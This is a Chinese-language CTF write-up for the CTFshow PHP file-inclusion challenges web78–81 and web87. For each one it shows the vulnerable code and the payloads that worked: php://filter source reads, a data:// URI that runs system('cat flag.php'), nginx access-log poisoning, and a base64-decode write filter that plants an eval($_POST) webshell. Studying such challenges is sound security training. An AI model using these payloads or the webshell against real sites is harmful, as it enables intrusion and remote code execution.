CTFSHOW-WEB入门-文件包含
web78
①关键代码
if(isset($_GET['file']))
{
$file = $_GET['file'];
include($file);
}
②直接文件包含
/?file=php://filter/read=convert.base64-encode/resource=flag.php
web79
①关键代码
if(isset($_GET['file']))
{
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}
②用data伪协议
/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
//PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= <?php system('cat flag.php');
web80-81(日志文件包含)
①关键代码
if(isset($_GET['file']))
{
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}
②不同系统日志文件路径有所差异
apache一般是/var/log/apache/access.log。:
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
这题日志文件路径为/var/log/nginx/access.log,访问日志文件,并写入命令
要多重发几次,发现fl0g.php文件,然后查看文件
再重发几次,得到flag
web87
①关键代码
if(isset($_GET['file']))
{
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}
②这题很显然有文件包含漏洞,总体的思路就是将命令写入content中,然后用php://filter/伪协议进行文件包含,但这题问题就在于在执行content中的代码之前它先执行了die函数,导致程序结束,我们植入的代码执行失败,所以,这题的任务就是使<?php die('大佬别秀了');?>失效。
③这题用base64编码的特性,首先用php://filter/write=convert.base64-decode/resource=123.php进行文件包含,但是要进行两次url编码(因为代码中含有urldecode它解码了一次),之所以用write而不是read,因为我们需要的是写入的权限,两次url编码用在线工具还不行,它只会把特殊字符编码,后来发现url编码实际上就是先转成16进制,然后每两个字符前加一个%,我就先用在线工具转成16进制,再写了个脚本每隔两个字符加一个%,但最后第一个字符前也要记得加上去
import re
text = "253730253638253730253361253266253266253636253639253663253734253635253732253266253737253732253639253734253635253364253633253666253665253736253635253732253734253265253632253631253733253635253336253334253264253634253635253633253666253634253635253266253732253635253733253666253735253732253633253635253364253331253332253333253265253730253638253730"
text_list = re.findall(".{2}", text)
new_text = "%".join(text_list)
print(new_text)
同时要post写入content参数的内容,将<?php @eval($_POST['a']);?>base64加密得到PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+
因为base64加密时会把无法辨认的字符过滤,所以content前面那串内容就剩phpdie,我们再添两个字符,这样前8个字符凑一组正好一解码就没了,后面一解码就得到了我们传入的木马
接着访问我们传入的123.php文件,并且将命令写入a中使之执行
得到fl0g.php文件,再cat一下,就得到了flag。